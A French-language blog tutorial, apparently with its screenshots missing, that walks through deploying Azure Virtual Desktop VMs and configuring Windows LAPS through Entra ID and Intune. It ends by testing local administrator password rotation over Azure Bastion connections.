Pour cela, rendez-vous dans le portail d’Azure afin créer un réseau virtuel en utilisant la barre de recherche en haut de l’écran :

Cliquez ici pour créer votre réseau virtuel pour les VMs d’AVD :

Renseignez les différents champs, puis lancez validation du template par Azure :

Une fois la validation réussie, lancez la création de la ressource :

Attendez environ une minute que le réseau virtuel Azure soit créé, puis cliquez-ici :

Rendez-vous dans la section suivante afin de créer un futur accès aux VMs via le service Azure Bastion :

Le service Azure Bastion se créé en tâche de fond comme le montre les deux notifications suivantes :

N’attendez par la fin d’Azure Bastion et continuez la création des ressources AVD en utilisant la barre de recherche Azure :

Cliquez-ici pour créer un nouvel environnement Azure Virtual Desktop :

Renseignez les champs du premier onglet, puis cliquez sur Suivant :

Inutile de modifier l’accès réseau AVD sur le second onglet, cliquez sur Suivant :

Renseignez les informations liées aux machines virtuelles AVD en prenant soin de choisir une image présente dans la liste de celles compatibles avec Windows LAPS :

Définissez le nombre de VMs voulues, puis renseignez le réseau virtuel créé précédemment :

Joignez vos VMs AVD à Azure AD et en gestion MDM avec Intune, puis renseignez un mot de passe administrateur local qui sera géré par Windows LAPS par la suite :

Créez un espace de travail AVD, puis lancez la validation Azure :

Une fois la validation Azure passée, lancez la création des ressource AVD :

Le traitement Azure devrait durer une dizaine de minutes environ :

Pendant ce temps, recherchez Azure AD afin de créer les groupes et utilisateurs :

Créez si besoin les utilisateurs nécessaires à AVD :

Créez si besoin le groupe d’utilisateurs nécessaire à AVD :

Retournez sur le portail Azure afin d’ajouter des rôles RBAC Azure sur le groupe de ressources AVD :

Ajoutez les rôles suivants sur le groupe d’utilisateurs AVD :

Quelques minutes plus tard, les ressources Azure créées pour AVD sont bien disponibles, cliquez-ici pour consulter le pool d’hôtes :

Rafraichissez plusieurs fois afin que toutes les machines AVD soient prêtent et disponibles :

Quelques rafraichissements plus tard, toutes les machines virtuelles sont bien disponibles :

Activez la fonction suivante pour profiter du SSO dans les propriétés RDP, puis sauvegardez :

Votre environnement Azure Virtual Desktop est maintenant prêt. Nous allons pouvoir maintenant configurer Windows LAPS.

Etape II – Préparation de Windows LAPS sur Entra ID :

Afin de pouvoir utiliser Windows LAPS sur nos machines virtuelles d’Azure Virtual Desktop, il est nécessaire de l’activer sur notre tenant.

Pour cela, rendez-vous sur le portail Entra afin d’activer l’option suivante, puis sauvegardez :

Profitez-en pour vérifier les présences des VMs AVD et la bonne gestion MDM par Intune :

Créez un nouveau groupe Azure AD dédié aux machines virtuelles AVD :

Ajoutez les VMs AVD à ce groupe, puis lancez la création :

Le travail sur Entra ID est maintenant terminé, il ne nous reste qu’à créer notre police de configuration dédiée à Windows LAPS sur Intune.

Etape III – Configuration de Windows LAPS sur Intune :

Pour cela, rendez vous sur le portail Intune sur l’adresse suivante.

Créer une nouvelle police de configuration comme ceci :

Choisissez le type de profile ci-dessous, puis cliquez sur Créer :

Nommez votre nouvelle police de profil, puis cliquez sur Suivant :

Définissez les règles de configuration, puis cliquez sur Suivant :

Dans mon exemple, après chaque authentification réussie de mon administrateur local JLO, un nouveau mot de passe sera redéfini 1 heure après.

Sinon, ce dernier est systématiquement changé tous les 7 jours.

Cliquez sur Suivant :

Ajoutez le groupe de VMs créé précédemment, puis cliquez sur Suivant :

Lancez la création de votre police Windows LAPS :

Toujours sur Intune, allez voir sur une des VMs AVD afin de voir la liste des configurations appliquées :

Attendez quelques minutes puis rafraichissez afin de constater la présence de votre nouvelle police Windows LAPS :

Notre configuration est enfin terminée, nous allons pouvoir tester Windows LAPS et son impact en nous connectant sur une des machines virtuelles AVD de test.

Etape IV – Test de Windows LAPS

Avant de vous connecter, retournez sur la liste des VMs AVD depuis le portail Azure AD :

Sur une des machines AVD, cliquez sur le menu suivant pour constater l’absence de mot de passe de l’administrateur local :

Sur le portail Azure, retournez sur la liste des machines virtuelles afin de vous y connecter à l’une d’entre-elles via Azure Bastion en utilisant le compte administrateur AVD renseigné :

Vérifiez la présence des droits administrateurs sur votre session :

Déconnectez-vous de la session Azure Bastion :

Attendez un peu, puis recommencez une connexion Azure Bastion avec les mêmes identifiants :

Constatez l’apparition du message d’erreur suivant :

Retournez sur la VM AVD utilisée depuis le portail d’Azure AD :

Retentez une nouvelle connexion Azure Bastion avec le mot de passe récupéré sur Windows LAPS :

Déconnectez-vous encore une fois de la session Azure Bastion :

Attendez environ une heure, puis recommencez une connexion Azure Bastion avec les mêmes nouveaux identifiants :

Constatez encore une fois l’apparition du message d’erreur suivant :

Retournez encore une fois sur la VM AVD utilisée depuis le portail d’Azure AD :

Retentez une 3ème connexion Azure Bastion avec le mot de passe récupéré sur Windows LAPS :

Déconnectez-vous une fois 3ème de la session Azure Bastion :

Une heure plus tard, le mot de passe aura encore tourné ✌️:

Petite anecdote :

Sur mon portail Intune, je ne vois pas le menu Local admin password 🥲🥲

Cela ne m’a pas empêché de retrouver l’info sur le portail d’Azure AD.

Conclusion

Très facile à mettre en oeuvre et fonctionnant aussi bien dans une architecture 100% Cloud ou Hybride, cette solution apporte une sécurité supplémentaire sur les postes physiques ou virtuels. Nul doute que la gestion de mots de passe administrateur Windows dans Azure va également faciliter le travail de fournis de certains administrateurs IT 😎